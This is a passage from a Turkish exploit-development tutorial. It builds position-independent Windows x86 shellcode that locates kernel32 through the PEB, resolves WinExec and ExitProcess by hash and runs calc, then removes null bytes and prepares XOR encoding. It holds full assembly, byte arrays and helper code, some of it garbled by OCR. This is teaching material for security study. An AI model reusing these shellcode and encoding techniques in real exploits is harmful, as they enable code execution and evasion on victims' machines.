71. mov ebx, [edx + 0x1c] ;Export adres tablosunun RVA adresini tespit ediyoruz
72. add ebx, ebp ;Export adres tablosunun VA adresini hesaplıyoruz
73. mov eax, [ebx + 4 * ecx] ;Fonksiyonun ordinal numarasını kullanarak fonksiyon adresinin
    RVA adresini tespit ediyoruz
74. add eax, ebp ;Fonksiyonun VA adresini hesaplıyoruz
75.
76. fonksiyon bulundu:
77. ret
```

Daha önce de söylediğim gibi shellcode'umuzu derlemek için NASM assembler'ını da kullanabiliriz. Ancak bunun için Assembly dosyasının başına [BITS 32] yazmamız ve fs register'ı ile eriştiğimiz alanı daha farklı ([fs:0x30] şeklinde) ifade etmemiz gerekecektir.

Şimdi daha önce kullandığımız assembly kodunu biraz daha modüler hale getirerek ve ExitProcess API'sini de çağıracak biçimde düzenleyerek NASM assembler'I ile derleyelim. Böylece shellcode'umuz çalıştıktan sonra test uygulamamız hata almadan sonlanacak. Tabi aynı durum hafıza alanına kendi kodumuzu yazdığımızda da gerçekleşecek.

Shellcode'umuzdaki temel değişikliklere göz atarsak:

- Öncelikle nasm assembler'ı için gerekli olan değişiklikleri, yani uygulamanın ilk satırı olarak [BITS 32] ifadesini eklemeyi ve FS register'ının kullanımında Visual Studio'dan farklı olan düzenlemeyi yaptık. İlk satır NASM assembler'ına derleme işleminin 32 bit'lik kod üretmesi gerekliliğini belirtmek için eklendi. NASM assembler'ının öntanımlı ürettiği kod 16 bitlik kod olduğu için bu gerekli. FS register'ı ile ilgili düzenlemeyi ise assembler'ın bu formatı kabul etmesi dolayısıyla yaptık.
- Visual Studio ile geliştirdiğimiz shellcode'umuzda sadece WinExec fonksiyonunun adresine ihtiyaç duyduğumuzdan fonksiyonun adresini bulan kod bölümünü bir defa çalıştırmamız yeterli oldu. Ancak NASM ile derleyeceğimiz kodumuzda ExitProcess fonksiyonunu da kullanacağımızdan bu fonksiyonun adresini bulmak için de aynı kod bölümünü kullanmamız gerekecek. Bu yüzden fonksiyon_bul fonksiyonunu kodumuzda tanımladık ve bu fonksiyonu iki defa çağırdık. Kod içeriği açısından en önemli fark burada.

Şimdi kodumuzu derleyelim, derlenmiş kodunu Hexyaz ruby script'imizle C stringine çevirelim ve test uygulamamız içinde test edelim.



	a contract of the second second second second second second second second second second second second second se	
test - Microsoft Visual Studio Express 2013 for Windows Desktop	Carl Carl Carl Carl Carl Carl Carl Carl	× ہے – ۹
FILE EDIT VIEW PROJECT BUILD DEBUG TEAM TOOLS TEST WINDOW HELP		Fatih Emiral 🔹 🎫
🛛 😋 🔹 🖓 🏰 🗳 🎔 🗢 💎 🔸 🕨 Local Windows Debugger 🔹 Release 🔹 Win32 💿 🔹 🎉 🚛 👘 🖀 🦉 🗍	ા પ્રાપ્ય -	
a Testa a X	crtexe.c 🖻 🗯 🗙 🔻 Solution Explorer	-
Global Scope) -	· · · · · · · · · · · · · · · · · · ·	a 🗿 🗠 🖌 🗕
unsigned char shellcode[] =	Search Solution Explorer (Ctrl+ş) P -
"\x31\xc9\x64\x8b\x35\x30\x00\x00" "\x80\x8b\x76\x8c\x8b\x76\x1c\x8b"	Solution 'test' (1 proj	ject)
"\x5e\x08\x8b\x7e\x20\x8b\x36\x38"	4 💁 test	
"\x4f\x18\x75\xf3\x53\x68\xe3\x1e"	Fig. External Dependence	ndencies
"\x12\x10\xe8\x21\x00\x00\x83"	Resource Files	s
\xc4\x04\x3D\x6a\x00\x65\x61 "\x6c\x63\x89\xe1\x6a\x00\x51\xff"	Course Files	
"\xd0\x53\x68\xf8\x99\x3f\x3c\xe8"		
"\x04\x00\x00\x00\x6a\x00\xff\xd0"	view Edit Help	
"\x8b\x6c\x24\x08\x8b\x45\x3c\x8b"		
\x54\x05\x76\x01\xeb\x49\x40\x40	0	
"\x8b\x01\xee\x31\xff\x31\xc0\xfc"	0000 0000 0000 0000 0000 0000 0000	
"\xac\x84\xc0\x74\x07\xc1\xcf\x0ff"	63 47 32 0000 0000 0000 0000 0000 0000 0000	- 4 ×
"\x01\xc7\xeb\xf4\x3b\x7c\x24\x &_"	31 15 0	· · · ·
\x75\xe3\x8D\x5a\x24\x01\xeb\x66 "\x8b\x6c\x4b\x8b\x5a\x1c\x01\xeb"	Hex Mod A MC MR MS M+ M-	
"\x8b\x04\x8b\x01\xe8\xc3";		allrada
⊡int main(int argc, char **argv)	Ood C B C C I V	esg\kaynak\test.c
	OBin RoL RoR C 7 8 9 / %	ellcode
f = (int(*)()) shellcode:	@ Qword Or Xor D 4 5 6 * 1/x	
(int)(*f)();	ODword Ich Brh E 1 2 2	se
[}		se
	Byte Not And F 0 , +	¥
100 % +		
Error List Output		
Ready		Ch 27 INS

Bu defa calculator uygulaması çalıştı ve test uygulamamız da ExitProcess çağrıldığından hata almadan sonlandı.

VIII. KÖTÜ KARAKTERLERDEN KURTULMA

ExitProcess fonksiyonunu da çalıştırdığımız shellcode'umuzun barındırdığı opcode'ları Hexyaz script'imiz ile bir dosyaya onaltılık formatta yazalım.

Notepad++ bu dosyayı açalım ve içindeki null byte'ları inceleyelim.

		1 X				
CLESG\ShellcodeASM\opcode.txt - Notepad++						
File Edit Search View Encoding Language Settings Macro Run Plugins Window ?		х				
G 😝 🗎 🛍 G Go 🖓 🐇 🗅 🐚 🤉 et 🛎 🐅 🍕 G G G 🚍 🖚 11 🔚 G 📓 🖉 🗉 🗉 🖉 🖉 🖓	· → = = = · · · · · · · · · · · · · · ·					
Selecce and Compared to 13						
1 "\x31\xc9\x64\x8b\x35\x30\x00\x00"						
2 "\x00\x8b\x76\x0c\x8b\x76\x1c\x8b"						
3 "\x5e\x08\x8b\x7e\x20\x8b\x36\x38"						
4 "\x4f\x18\x75\xf3\x53\x68\xe3\x1e"						
5 "\x12\x10\xe8\x21\x00\x80\x83"						
6 "\xc4\x04\x5b\x6a\x00\\يُنْكَة8\x63\x61"						
7 "\x6c\x63\x89\xe1\x6a\x00\x51\xff"						
8 "\xd0\x53\x68\xf8\x99\x3f\x3c\xe8"						
9 "\x04\x00\x00\x00\x6a\x00\xff\xd0"						
10 "\x8b\x6c\x24\x08\x8b\x45\x3c\x8b"						
11 "\x54\x05\x78\x01\xea\x8b\x4a\x18"						
12 "\x8b\x5a\x20\x0\xeb\x49\x8b\x34"						
13 "\x8b\x01\xee\x31\xff\x31\xc0\xfc"						
14 "\xac\x84\xc0\x74\x07\xc1\xcf\x0f"						
15 "\x01\xc7\xeb\xf4\x3b\x7c\x24\x04"						
16 "\x75\xe3\x8b\x5a\x24\x01\xeb\x66"						
17 "\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb"						
18 "\x8b\x01\xe8\xc3"						
19						
20 Toplam byte sayısı: 142						
Normal text file length : 670 lines : 20 Ln : 5 Col : 22 Sel : 3 0 Dos/Windows	ANSI as UTF-8	INS				

Shellcode'umuzu incelediğimiz de içinde 12 adet null byte olduğunu görüyöruz. Bildiğiniz gibi null byte'lar C string'leri için string sonu anlamına geliyor. Eğer shellcode'umuzu C string fonksiyonlarından biri aracılığı ile hafızaya yazdıracak olursak shellcode'umuzun null byte'tan sonraki kısmı hafızaya kopyalanamayacaktır. Bu nedenle eğer bu tür bir açıklığı exploit edeceksek null byte'lardan kurtulmamız lazım.

C\ESG\ShellcodeASM\opcode.txt - Notepad++		X I
		X
C:\ESG\ShellcodefSH>Hexyaz.rb Shellcode > opcode.txt		
C:\ESG\ShellcodefSM>ndisasn -b 32 Shellcode > disas.txt		
C:\ESG\ShellcodeASH>		
-		
13 "\x8b\x01\xee\x31\xff\x31\xc0\xfc"		- P
14 "\xac\x84\xc0\x74\x07\xc1\xcf\x0f"		
15 "\x01\xc7\xeb\xf4\x3b\x7c\x24\x04"		
17 "\X/5\X83\X80\X83\X24\X81\X86\X86"		
18 "VSB/VS0/VSB/VS1/VSB/VS1/VSB/VS3"		
19		
20 Toplam byte sayis: 142		
I I Normal text file Length : 670 Lin : 5 Col : 22 Sel : 3 0 Dos/Windows A	NSI as UTF-8	INS

	1.	00000000	31C9	xor ecx,ecx
	2.	00000002	648B3530000000	mov esi,[dword fs:0x30]
	3.	00000009	8B760C	mov esi,[esi+0xc]
	4.	0000000C	8B761C	mov esi,[esi+0x1c]
	5.	0000000F	8B5E08	mov ebx,[esi+0x8]
	6.	00000012	8B7E20	mov edi,[esi+0x20]
	7.	00000015	8B36	mov esi,[esi]
	8.	00000017	384F18	cmp [edi+0x18],cl
	9.	000001A	75F3	jnz 0xf
	10.	0000001C	53	push ebx
	11.	0000001D	68E31E1210	push dword 0x10121ee3
	12.	00000022	E821000000	call dword 0x48
	13.	00000027	83C404	add esp,byte +0x4
	14.	0000002A	5B	pop ebx
	15.	0000002B	6A00	push byte +0x0
	16.	0000002D	6863616C63	push dword 0x636c6163
	17.	00000032	89E1	mov ecx,esp
	18.	00000034	6A00	push byte +0x0
	19.	00000036	51	push ecx
	20.	00000037	FFD0	call eax
	21.	00000039	53	push ebx
	22.	0000003A	68F8993F3C	push dword 0x3c3f99f8
	23.	0000003F	E804000000	call dword 0x48
	24.	00000044	6A00	push byte +0x0
	25.	00000046	FFD0	call eax
	26.	00000048	8B6C2408	mov ebp,[esp+0x8]
	27.	0000004C	8B453C	mov eax,[ebp+0x3c]
	28.	0000004F	8B540578	mov edx,[ebp+eax+0x78]
	29.	00000053	01EA	add edx,ebp
	30.	00000055	8B4A18	mov ecx,[edx+0x18]
	31.	00000058	8B5A20	mov ebx,[edx+0x20]
	32.	0000005B	01EB	add ebx,ebp
	33.	0000005D	49	
	34.	0000005E	8B348B	mov esi,[ebx+ecx*4]
	35.	00000001	ØIEE 2155	add esi,ebp
	30.	00000063	31FF	xor edi,edi
	5/.	00000005	2100	xur eax,eax
	38.	00000067		
	39.	00000068	AL	
1	40.	00000069	8400	test al.al

41. 0000006B	7407	jz 0x74
42.0000006D	C1CF0F	ror edi,byte 0xf
43.00000070	01C7	add edi,eax
44.00000072	EBF4	jmp short 0x68
45.00000074	3B7C2404	cmp edi,[esp+0x4]
46.0000078	75E3	jnz 0x5d
47.0000007A	8B5A24	mov ebx,[edx+0x24]
48.000007D	01EB	add ebx,ebp
49.000007F	668B0C4B	mov cx,[ebx+ecx*2]
50.0000083	8B5A1C	mov ebx,[edx+0x1c]
51.00000086	01EB	add ebx,ebp
52.0000088	8B048B	<pre>mov eax,[ebx+ecx*4]</pre>
53. 0000008B	01E8	add eax,ebp
54.000008D	C3	ret

Ndisasm komutuyla derlenmiş olan kodu disassemble ederek null byte içeren opcode'lara neden olan instruction'ları inceleyelim.

- 2. Satırda Process Environment Block'un adresini edindiğimiz satır (648B353000000 mov esi,[dword fs:0x30])
- o 12. Satırda Hex 21 byte ilerideki bir fonksiyonu çağırdığımız satır (bu satır Assembly kaynak kodumuzda 18. Satırdaki fonksiyon_bul fonksiyonunu çağırdığımız satıra denk düşüyor. Disassembler'ın elinde sembol bilgisi olmadığından fonksiyon adını kullanamıyor, ancak fonksiyonun başlangıç adresini bizim için hesaplayarak disassemble edilmiş olan kod bölümünde gösteriyor. Buna göre fonksiyon_bul fonksiyonu Hex 48 adresinden başlıyor.) (E821000000 call dword 0x48)
- o 15. Satırda calc kelimesinin sonunu ifade edecek null byte'ı stack'e yazmak için kullandığımız push 0 instruction'ı (6A00 push byte +0x0)
- o 18. Satırda WinExec fonksiyonuna verdiğimiz birinci parametre için kullandığımız push 0 instruction'ı (6A00 push byte +0x0)
- 23. Satırda Hex 4 byte ilerideki bir fonksiyonu çağırdığımız satır. Burada tekrar fonksiyon_bul fonksiyonunu çağırıyoruz. (Shellcode.asm'de bu satırın 29. Satıra denk düştüğünü görüyoruz. Hatırlarsanız önce WinExec'in daha sonra da ExitProcess'in adreslerini bulmak için fonksiyon_bul fonksiyonunu çağırmıştık.)
- 24. Satırda ExitProcess fonksiyonunun parametresi olarak stack'e yazdığımız 0 değeri için kullandığımız push 0 satırı

Birinci instruction ile ilgili problemi 3 farklı instruction'la ortadan kaldırabiliriz.

- Öncelikle "xor ebx,ebx" instruction'ı ile EBX register'ını sıfırlayabiliriz.
- Daha sonra "mov bl, 0x30" instruction'ı ile BL register'ına 30 değerini atayabiliriz.
- Son olarak "mov eax, [fs:ebx]" instruction'ı ile null byte içermeyen opcode'lar üretebiliriz.

Fonksiyon_bul fonksiyonunu çağırdığımız instruction'larda ilerideki bir adresi call near instruction'ı ile çağırdığımız ve relative adres 32 bit olduğu için bolca sıfırımız var. Bilgisayar aritmetiğinde bir rakamın negatif karşılığı two's complement denilen yöntemle hesaplanır. Bu yöntemin detayına girmeyeceğim ama örneğin 21 byte ilerideki bir relative adresi ifade etmeye çalışdığımızda HEX "00000015", 21 byte gerideki bir relative adresi yani -21'i ifade etmeye çalıştığımızda HEX "FFFFFEB" rakamı karşımıza çıkacaktır. Bu nedenle eğer çağıracağımız fonksiyonlar call instruction'ından daha önce olursa negatif bir relative adresi çağıracağız. Bu durumda call İnstruction'larıdaki null byte'lardan da kurtulmuş olacağız.

Push 0 instruction'larını çözmek gayet kolay. "xor ebx, ebx" ve "push ebx" instructionları ile null byte üretmekten kurtulacağız. Hatta daha önceden sıfırlanmış bir register varsa üreteceğimiz exploit kodundan 1 byte daha tasarruf bile edebiliriz.

Null byte'lardan kaçınmak için kullanılabilecek daha pek çok kodlama tekniği mevcut.

Şimdi belirlediğimiz tekniklerle shellcode'umuzun tekrar düzenlenmiş halini inceleyelim.

```
1. [BITS 32]
2.
3. kernel32_bul:
4. xor ecx, ecx
5. xor ebx, ebx
6. mov bl, 0x30
7. mov esi, [fs:ebx] ; PEB adresi

    mov esi, [esi + 0x0c]; PEB LOADER DATA adresi

9. mov esi, [esi + 0x1c]; Başlatılma sırasına göre modül listesinin başlangıç adresi
10.
11. bir_sonraki_modul:
12. mov ebx, [esi + 0x08] ; Modülün baz adresi
13. mov edi, [esi + 0x20] ; Modül adı(unicode formatında)
14. mov esi, [esi] ; esi = Modül listesinde bir sonraki modül meta datalarının bulunduğu ad
   res InInitOrder[X].flink(sonraki modul)
15. cmp [edi + 12*2], cl ; KERNEL32.DLL 12 karakterden oluştuğu için 24. byte ın null olup
   olmadığını kontrol ediyoruz.Bu yöntem olabilecek en güvenli ve jenerik yöntem değil, an
   cak işimizi görüyor.
16. jne bir_sonraki_modul ; Eğer 24. byte null değilse kernel32.dll ismini bulamamışız deme
   ktir
17.
18. jmp ana_fonksiyon
19.
20.; Fonksiyon: Fonksiyon hashlerini karşılaştırarak fonksiyon adresini bulmak için.
21. ; esp+8 de modül adresini, esp+4 te fonksiyon hashini alır
22.; Fonksiyon adresini eax ile döndürür
23. fonksiyon_bul:
24. mov ebp, [esp + 0x08] ;Modül adresini al
25. mov eax, [ebp + 0x3c] ;MSDOS başlığını atlıyoruz
26. mov edx, [ebp + eax + 0x78] ;Export tablosunun RVA adresini edx e yazıyoruz
27. add edx, ebp ;Export tablosunun VA adresini hesaplıyoruz
28. mov ecx, [edx + 0x18] ;Export tablosundan toplam fonksiyon sayısını sayaç olarak kullan
  mak üzere kaydediyoruz
29. mov ebx, [edx + 0x20] ;Export names tablosunun RVA adresini ebx e yazıyoruz
30. add ebx, ebp ;Export names tablosunun VA adresini hesaplıyoruz
31.
32. fonksiyon_bulma_dongusu:
33. dec ecx ;Sayaç son fonksiyondan başlayarak başa doğru azaltılır
34. mov esi, [ebx + ecx * 4] ;Export names tablosunda sırası gelen fonksiyon adının pointer
  ının RVA adresini hesaplıyoruz
35. add esi, ebp ; Fonksiyon pointerinin VA adresini hesapliyoruz
36.
37. hash_hesapla:
38. xor edi, edi
39. xor eax, eax
40. cld ;lods instruction1 ESI register 1n1 yanlışlıkla aşağı yönde değiştirmesin diye emin
    olmak için kullanıyoruz. Shellcode'umuzu yerleştireceğimiz proses içinde direction fla
   g'inin ne olacağını bilemeyiz
41.
42. hash_hesaplama_dongusu:
43. lodsb ;ESI nin işaret ettiği mevcut fonksiyon adı harfini (yani bir byteı) AL registeri
   na yüklüyoruz ve ESI yi bir artırıyoruz
44. test al, al ; Fonksiyon adının sonuna gelip gelmediğimizi test ediyoruz
45. jz hash_hesaplandi ;AL register değeri 0 ise, yani fonksiyon adını tamamlamışsak hesapl
   amayı sona erdiriyoruz
```

```
46. ror edi, 0xf ;Hash değerini 15 bit sağa rotate ettiriyoruz
```

```
47. add edi, eax ; Hash değerine mevcut karakteri ekliyoruz
48. jmp hash_hesaplama_dongusu
49.
50. hash_hesaplandi:
51.
52. hash_karsilastirma:
53. cmp edi, [esp + 0x04] ;Hesaplanan hash değerinin stackte parametre olarak verilen fonks
   iyon hash değeri ile tutup tutmadığını kontrol ediyoruz
54. jnz fonksiyon_bulma_dongusu
55. mov ebx, [edx + 0x24] ; WinExec fonksiyonunun adresini bulabilmek için Export ordinals t
   ablosunun RVA adresini hesaplıyoruz
56. add ebx, ebp ; Export ordinals tablosunun VA adresini hesaplıyoruz
57. mov cx, [ebx + 2 * ecx] ;WinExec fonksiyonunun Ordinal numarasını elde ediyoruz (ordina
   1 numaras1 2 byte)
58. mov ebx, [edx + 0x1c] ;Export adres tablosunun RVA adresini hesaplıyoruz
59. add ebx, ebp ; Export adres tablosunun VA adresini hesaplıyoruz
60. mov eax, [ebx + 4 * ecx] ;WinExec fonksiyonunun ordinal numarasını kullanarak fonksiyon
    adresinin RVA adresini hesaplıyoruz
61. add eax, ebp ;WinExec fonksiyonunun VA adresini hesaplıyoruz
62.
63. fonksiyon_bulundu:
64. ret
65.
66.; ANA FONKSİYON
67.; Kernel32 nin adresi bulunduktan sonraki işlemler burada gerçekleştiriliyor
68.; Call instructionları negatif adresleri çağırdığından null karakter sorununu çözüyoruz
69. ana_fonksiyon:
70.
71. push ebx ;Kernel32nin adresini stacke yaz
72. push 0x10121ee3 ;WinExec fonksiyon adının hashi
73. call fonksiyon_bul ;eax ile WinExec fonksiyonunun adresini döndürür
74. add esp, 4
75. pop ebx ; Kernel32nin adresini tekrar ebx e yükle
76. xor edx, edx
77. push edx ;calc metninin sonuna null karakter yerleştirmek için stacke 0x00000000 yazıyo
   ruz
78. push 0x636C6163 ;calc metnini little endian formata uydurmak için tersten yazıyoruz
79. mov ecx, esp ; calc metninin adresini ecx e yükle
80. xor edx, edx
81. push edx ; WinExec birinci parametre
82. push ecx ; WinExec ikinci parametre
83. call eax ; WinExec fonksiyonu çağrılır
84. push ebx ; Kernel32nin adresini stacke yaz
85. push 0x3c3f99f8 ;ExitProcess fonksiyon adının hashi
86. call fonksiyon_bul ;eax ile WinExec fonksiyonunun adresini döndürür
87. xor edx, edx
88. push edx
89. call eax ;ExitProcess fonksiyonu çağrılır
```

Process Environment Block'un adresini bulmak için kullandığımız kodu yeniden düzenledik.

Bu kod ile orjinal assembly kodumuz arasındaki en önemli fark call relative instruction'larını geriye doğru yapabilmek için kodun akışını jmp ana_fonksiyon satırı ile kodun son bölümüne doğru yönlendirmek. Call satırları bu bölümden daha yukarıda bulunan fonksiyon_bul fonksiyonunu çağırdığında üretilen relative adres değerleri negatif olacak ve bilgisayar aritmetiği sayesinde null byte barındırmayacak.

Push O satırlarını da en aşağıda xor edx, edx ve push edx satırlarıyla değiştirdik.

Yeni shellcode'umuzu NASM ile derleyerek üretilecek opcode'ları inceleyelim.

Kodumuzu disassemble ederek opcode'larımızın null byte içerip içermediklerinden emin olalım.



1.	00000000	31C9	xor ecx,ecx
2.	00000002	31DB	xor ebx,ebx
3.	00000004	B330	mov bl,0x30
4.	0000006	648B33	mov esi,[fs:ebx]
5.	00000009	8B760C	mov esi,[esi+0xc]
6.	0000000C	8B761C	mov esi,[esi+0x1c]
7.	0000000F	8B5E08	mov ebx,[esi+0x8]
8.	00000012	8B7E20	mov edi,[esi+0x20]
9.	00000015	8B36	mov esi,[esi]
10.	00000017	384F18	cmp [edi+0x18],cl
11.	0000001A	75F3	jnz 0xf
12.	0000001C	EB46	jmp short 0x64
13.	0000001E	8B6C2408	mov ebp,[esp+0x8]
14.	00000022	8B453C	mov eax,[ebp+0x3c]
15.	00000025	8B540578	mov edx,[ebp+eax+0x78]
16.	00000029	01EA	add edx,ebp
17.	0000002B	8B4A18	mov ecx,[edx+0x18]
18.	0000002E	8B5A20	mov ebx,[edx+0x20]
19.	00000031	01EB	add ebx,ebp
20.	00000033	49	dec ecx
21.	00000034	8B348B	mov esi,[ebx+ecx*4]
22.	00000037	01EE	add esi,ebp
23.	00000039	31FF	xor edi,edi
24.	0000003B	31C0	xor eax,eax
25.	0000003D	FC	cld
26.	000003E	AC	lodsb
27.	000003F	8400	test al,al
28.	00000041	/40/	Jz 0x4a
29.	00000043	CICFØF	ror edi,byte Øxt
30.	00000046	0107	add edl,eax
31.	00000048	EBF4	jmp snort 0x3e
32.	0000004A	3B7C2404	cmp edi,[esp+0x4]
33.	0000004E	/5E3	Jnz 0x33
34.	00000050	8B5A24	mov ebx,[eax+0x24]
22.	00000055		
20. 27	00000055		mov cx, [eDx+eCX [*] 2]
2/.	00000059		add aby abp
20.	00000050		auu eux, eup
29. 40	0000005E	0DU40D 01E9	add oay obn
40.	TODOOOOOT	ATEO .	auu eax,eup

41.	0000063	C3	ret
42.	00000064	53	push ebx
43.	00000065	68E31E1210	push dword 0x10121ee3
44.	000006A	E8AFFFFFF	call dword 0x1e
45.	0000006F	83C404	add esp,byte +0x4
46.	00000072	5B	pop ebx
47.	00000073	31D2	xor edx,edx
48.	00000075	52	push edx
49.	00000076	6863616C63	push dword 0x636c6163
50.	0000007B	89E1	mov ecx,esp
51.	0000007D	31D2	xor edx,edx
52.	0000007F	52	push edx
53.	08000000	51	push ecx
54.	00000081	FFD0	call eax
55.	0000083	53	push ebx
56.	00000084	68F8993F3C	push dword 0x3c3f99f8
57.	0000089	E890FFFFF	call dword 0x1e
58.	000008E	31D2	xor edx,edx
59.	00000090	52	push edx
60.	00000091	FFD0	call eax

Gördüğünüz gibi yeni kodumuz derlendiğinde null byte içeren bir opcode üretilmiyor.

Bu örneğimizde kötü karakter olarak sadece null byte'a odaklandık. C string fonksiyonları açısından newline karakteri de null byte karakteri ile aynı nedenle kötü karakter olarak sayılabilir.

Bunların dışında hedeflenen uygulama algoritmasına ve uygulamada kullanılan fonksiyonlara bağlı olarak farklı kötü karakterler de bulunabilir. Bu karakterleri tespit etmenin en iyi yolu shellcode hafızaya yazıldıktan sonra shellcode'un yazılması sırasında herhangi bir kesilme olup olmadığının ve shellcode'un herhangi bir bölümünün bozulup bozulmadığının incelenmesi olacaktır.

Bu aşamadan sonra tespit edilen kötü karakterlerden kurtulmak için veya uygulama algoritmasına uygun karakterler içeren shellcode üretmek için gerekli çalışmalar yapılmalıdır.

Bu bölümü sonlandırmadan önce shellcode'un büyüklüğünün de çok önemli olabileceği durumlar olduğunu tekrar hatırlatalım. Burada geliştirdiğimiz shellcode örneği büyüklük açısından daha da optimize edilebilir.

Genel olarak shellcode'un jenerikleştirilmeye çalıştırılması onu büyütücü etki yapıyor. Ama uygulamaya özel shellcode geliştirildiğinde de her seferinde yeniden uyarlama ihtiyacı ortaya çıkıyor.

Metasploit shellcode'larını incelediğimizde modüler ve jenerik (yani birden fazla Windows işletim sistemi platformunu destekleme) ihtiyacının bulunması nedeniyle olabileceğinden daha büyük olduklarını görebiliriz. Shellcode büyüklüğünün problem olabileceği durumlarda kendi shellcode'unuzu yazabilmeniz size avantaj sağlayacaktır.

IX. SHELLCODE KODLAMA (ENCODING)

Shellcode'umuzdan geliştirdiğimiz uygulama ifadelerini değiştirerek null byte'ları yok etmeyi başardık. Ancak bu yöntem tek yol değil. Bir başka yöntem de shellcode'umuzu kötü karakter içermeyecek biçimde kodlamak, yani encode etmek olabilir.

Encode edilmiş bir kod tabi ki hafızaya yüklendikten sonra decode edilmeli ve o şekilde çalıştırılmalıdır. Dolayısıyla önceden encode edilmiş bir shellcode'u decode edecek bir koda ihtiyacımız olacaktır.

Encoding algoritması genellikle aynı boyutta bir kodlanmış shellcode üretir.

Shellcode'un hedeflenen prosesin hafıza alanına yüklendiğinde hedefine ulaşabilmesi için decode edilmesi gereklidir. Bu nedenle kodlanmış shellcode'un başına bir decoder kodu eklenir. Doğal olarak decoder kodu kodlanmamış olup kötü karakterler içermemelidir.





Uygulama akışına hükmetme anından sonra öncelikle decoder kodu çalıştırılır. Decoder kodu kodlanmış shellcode'umuzu orijinal haline getirdikten sonra uygulama akışını shellcode'a bırakır.

Sizin de tahmin edebileceğiniz gibi aynı yöntem zararlı yazılımlar tarafından da kendini gizleme amaçlı olarak kullanılabilir.

Örneğimizde kullanacağımız kodlama algoritması null karakterlerden kurtulmaya yönelik olacağı için son derece basit.

Yapacağımız şey shellcode'umuz içindeki tüm byte'ları inceleyip bu byte'lar arasında var olmayan herhangi bir byte değerini XOR argümanı olarak kullanarak tüm shellcode'umuzun her bir byte'ını bu değer ile XOR'lamak. Shellcode'umuz içinde var olmayan bir byte'ı kullanarak yapacağımız XOR işlemlerinin sonunda null byte oluşmayacağından emin olacağız.

Bu işlem için basit bir uygulama yazdım. Uygulamamız bublesort algoritmasını kullanarak byte array'imizi sıralı hale getiriyor. Daha sonra da shellcode'umuz içinde olmayan byte'ları listeleyerek bize istediğimiz bir byte değerini XOR anahtarı olarak seçmemize izin veriyor.

Şimdi null karakterleri içeren son shellcode'umuzu uygulamamızın içine yerleştirelim ve hangi byte'ları XOR anahtarı olarak kullanabileceğimizi görelim.

- 1. unsigned char code[] = "\x31\xc9\x64\x8b\x35\x30\x00\x00"
- 2. "\x00\x8b\x76\x0c\x8b\x76\x1c\x8b"
- 3. "\x5e\x08\x8b\x7e\x20\x8b\x36\x38"
- 4. "\x4f\x18\x75\xf3\x53\x68\xe3\x1e"
- 5. "\x12\x10\xe8\x21\x00\x00\x00\x83"

htrick

```
6. "\xc4\x04\x5b\x6a\x00\x68\x63\x61"
7. "\x6c\x63\x89\xe1\x6a\x00\x51\xff"
8. "\xd0\x53\x68\xf8\x99\x3f\x3c\xe8"
9. "\x04\x00\x00\x6a\x00\xff\xd0"
10. "\x8b\x6c\x24\x08\x8b\x45\x3c\x8b"
11. "\x54\x05\x78\x01\xea\x8b\x4a\x18"
12. "\x8b\x5a\x20\x01\xeb\x49\x8b\x34"
13. "\x8b\x01\xee\x31\xff\x31\xc0\xfc"
14. "\xac\x84\xc0\x74\x07\xc1\xcf\x0f"
15. "x01\xc7\xeb\xf4\x3b\x7c\x24\x04"
16. "\x75\xe3\x8b\x5a\x24\x01\xeb\x66"
17. "\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb"
18. "\x8b\x04\x8b\x01\xe8\xc3";
19. int main(int argc, char **argv)
20. {
21.
        int i, j, n;
22.
        unsigned char temp, cnt;
23.
24.
        char y;
25.
26.
        n = (sizeof(code)-1);
        for (i = 0; i<n; i++)</pre>
27.
28.
        {
29.
             for (j = 0; j<n - i - 1; j++)</pre>
30.
            {
31.
                 if (code[j]>code[j + 1])
32.
                 {
33.
                     temp = code[j];
                     code[j] = code[j + 1];
34.
35.
                     code[j + 1] = temp;
36.
                 }
37.
             }
38.
        }
39.
40.
        printf("Byte sayisi: %i\n\n", sizeof(code)-1);
        printf("Sort edilmis shellcode byte lari:\n");
41.
42.
        for (i = 0; i < (sizeof(code)-1); i++)</pre>
43.
        {
44.
             printf("\\x%02x", code[i]);
45.
        }
46.
47.
        printf("\n\nXOR isleminde kullanilabilecek bytelar:\n");
48.
        temp = 0;
        for (i = 0; i < (sizeof(code)-1); i++)</pre>
49.
50.
        {
51.
            if (i == 0)
52.
             {
53.
                 cnt = 0;
54.
                 if (code[i]>cnt)
55.
                 {
56.
                     for (cnt = 0; cnt < code[i]; cnt++)</pre>
57.
                          printf("\\x%02x", cnt);
58.
                 }
59.
             }
             else {
60.
61.
                 if (code[i]>temp)
62.
                 {
63.
                     for (cnt = (temp + 1); cnt < code[i]; cnt++)</pre>
                          printf("\\x%02x", cnt);
64.
65.
                 }
66.
             }
67.
             temp = code[i];
68.
        }
69.
        getchar();
70.}
```

Pice ShellcodeSort (Running) - Microsoft Visual Studio Express 2013 for Windows Desktop FILE EDIT VEW PROJECT BUILD DEBUG TEAM TOOLS TEST WINDOW HELP Image: Strate File	प ए ए गांग -	Quick Launch (Ctrl+Q)	P = ₫ × Fatih Emiral •
Memory1			* # X 🖇
Address: CAESG\ShellcodeSort/Debug\ShellcodeSort.exe		Columns	- The second
Unavailable wh Byte sayisi: 142 Sert edilinis shallcade byte lavi: with with with with with with with with			spicer
100% -			
Registers • 4 × Watch1			- # ×
Pame Value			iype ~
Locals registers call stack immediate window Memory 2 Watch 1	1		
Reday	Ln 18	C012/ C1	n 27 INS

Uygulamanın ürettiği byte'lardan herhangi birini kopyalıyorum.

Şimdi bu byte'ı kullanarak shellcode'umuzu encode edelim. Bu işlem için de basit bir uygulama kullanabiliriz.

Uygulamamızı encode edeceğimiz shellcode'umuzu kopyalayarak ve anahtar olarak kullanacağımız byte'i tanımlayarak güncelleyelim ve derleyelim.

```
1. unsigned char code[] = "\x31\xc9\x64\x8b\x35\x30\x00\x00"
2. "\x00\x8b\x76\x0c\x8b\x76\x1c\x8b"
3. "\x5e\x08\x8b\x7e\x20\x8b\x36\x38"
4. "\x4f\x18\x75\xf3\x53\x68\xe3\x1e"

    "\x12\x10\xe8\x21\x00\x00\x00\x83"
    "\xc4\x04\x5b\x6a\x00\x68\x63\x61"
    "\x6c\x63\x89\xe1\x6a\x00\x51\xff"

8. "\xd0\x53\x68\xf8\x99\x3f\x3c\xe8"
9. "\x04\x00\x00\x6a\x00\xff\xd0"
10. "\x8b\x6c\x24\x08\x8b\x45\x3c\x8b"
11. "\x54\x05\x78\x01\xea\x8b\x4a\x18"
12. "\x8b\x5a\x20\x01\xeb\x49\x8b\x34"
13. "\x8b\x01\xee\x31\xff\x31\xc0\xfc"
